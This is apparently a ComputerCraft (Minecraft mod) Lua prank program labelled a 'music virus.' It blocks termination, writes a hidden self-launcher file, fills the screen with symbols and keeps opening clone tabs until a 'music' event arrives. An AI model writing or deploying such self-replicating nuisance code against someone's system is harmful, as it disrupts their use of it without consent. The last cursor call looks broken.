Remix of my virus

local running = true
local w, h = term.getSize()
term.setBackgroundColor(colors.black)
term.setTextColor(colors.yellow)
term.clear()
os.pullEvent = os.pullEventRaw
local ev = nil
local p1 = nil
local p2 = nil
local p3 = nil
local p4 = nil
local p5 = nil
local args = { ... }
local clone = false
if args[1] == "--clone" then
	clone = true
end
function writeFile(path, text, append)
	if path == shell.getRunningProgram() then
		return
	end
	if fs.exists(path) then
		return
	end
	local handle = fs.open(path, append and "a" or "w")
	handle.write(text)
	handle.close()
end
local program = shell.getRunningProgram()
if fs.exists(".musicVirus/duplicate.lua") then
	fs.delete(".musicVirus/duplicate.lua")
	writeFile(".musicVirus/duplicate.lua", "--MUSIC VIRUS--\nshell.run(\"" .. program .. "\", \"--clone\")", false)
end
if not fs.exists(".musicVirus/duplicate.lua") then
	writeFile(".musicVirus/duplicate.lua", "--MUSIC VIRUS--\nshell.run(\"" .. program .. "\", \"--clone\")", false)
end
while running do
	term.setBackgroundColor(colors.black)
	term.setTextColor(colors.yellow)
	if math.random(1,6) <= 4 then
		term.setCursorPos(math.random(1,w), math.random(1,h))
		term.write(string.char(math.random(14,15)))
	end
	term.scroll(0)
	local timer = os.startTimer(0.1)
	if multishell then
		local move = math.random(-1, 1)
		if math.random(1,25) == 1 then
			if not clone then
				for i = 1, multishell.getCount() do
					multishell.setTitle( i, string.char(math.random(14,15)) )
				end
				multishell.setFocus( multishell.getFocus() + move )
			end
		end
	end
	if multishell and math.random(1,10) <= 1 then
		if not clone then
			shell.openTab(".musicVirus/duplicate.lua", "--clone")
		end
	end
	local ev, p1, p2, p3, p4, p5 = os.pullEvent()
	if ev == "music" then
		running = false
		term.clear()
		term.setCursorPos()
	end
	os.cancelTimer(timer)
end